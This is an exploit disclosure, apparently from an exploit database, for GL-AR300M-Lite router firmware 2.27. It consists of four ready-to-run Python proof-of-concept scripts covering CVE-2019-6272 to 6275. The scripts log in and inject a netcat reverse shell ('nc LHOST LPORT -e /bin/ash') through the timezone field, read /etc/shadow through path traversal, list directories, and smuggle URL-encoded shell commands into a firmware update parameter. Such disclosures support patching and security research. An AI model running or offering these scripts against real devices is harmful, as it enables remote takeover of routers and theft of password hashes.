# Exploit Title: GL-AR300M-Lite Authenticated Command injection - Arbitrary file download - Directory Traversal # Date: 15/1/2019 # Exploit Author: Pasquale Turi aka boombyte # Vendor Homepage: https://www.gl-inet.com/ # Software Link: https://www.gl-inet.com/products/gl-ar300m/ # Version: Firmware version 2.27 # CVE : CVE-2019-6272 - CVE-2019-6273 - CVE-2019-6274 - CVE-2019-6275 #CVE-2019-6272 PoC (Command injection): import requests rhost='RHOST' lhost='LHOST' lport ='LPORT' password='PASSWORD' r=requests.get('http://'+rhost+'/login.html') cookie=r.cookies r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie) header={'X-CSRF-TOKEN':r2.text[13:45]} r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''}) header={'X-CSRF-TOKEN':r3.text[31:63]} r4=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r3.cookies,data={'action':'settimezone','timezone':'`nc '+lhost+' '+lport+' -e /bin/ash`'}) #CVE-2019-6273 (Arbitrary file download) PoC: import requests rhost='RHOST' password='PASSWORD' file_path='/etc/shadow' r=requests.get('http://'+rhost+'/login.html') cookie=r.cookies r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie) header={'X-CSRF-TOKEN':r2.text[13:45]} r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''}) header={'X-CSRF-TOKEN':r3.text[31:63]} r4=requests.get('http://'+rhost+'/cgi-bin/download_file?/mnt/..'+file_path,headers=header,cookies=r3.cookies) print r4.text #CVE-2019-6274 (Path Trasversal) PoC: import requests rhost='RHOST' password='PASSWORD' path='/' r=requests.get('http://'+rhost+'/login.html') cookie=r.cookies r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie) header={'X-CSRF-TOKEN':r2.text[13:45]} r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''}) header={'X-CSRF-TOKEN':r3.text[31:63]} r4=requests.get('http://'+rhost+'/cgi-bin/storage_cgi?id=2&pwd='+path,headers=header,cookies=r3.cookies) print r4.text #CVE-2019-6275 (Another command injection): import requests rhost='RHOST' lhost='LHOST' lport ='LPORT' password='PASSWORD' r=requests.get('http://'+rhost+'/login.html') cookie=r.cookies r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie) header={'X-CSRF-TOKEN':r2.text[13:45]} r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''}) header={'X-CSRF-TOKEN':r3.text[31:63]} r4=requests.post('http://'+rhost+'/cgi-bin/firmware_cgi?action=setautoupdate&auto_update=off&update_time=04%3a00%7cecho%20qydre8t159%201%7c%7ca%20%23\'%20%7cecho%20%20%60id%60%7c%7ca%20%23%7c%22%20%7cecho%20a%201%7c%7ca%20%23&_=1547223055153 ',headers=header,cookies=r3.cookies,) print r4.text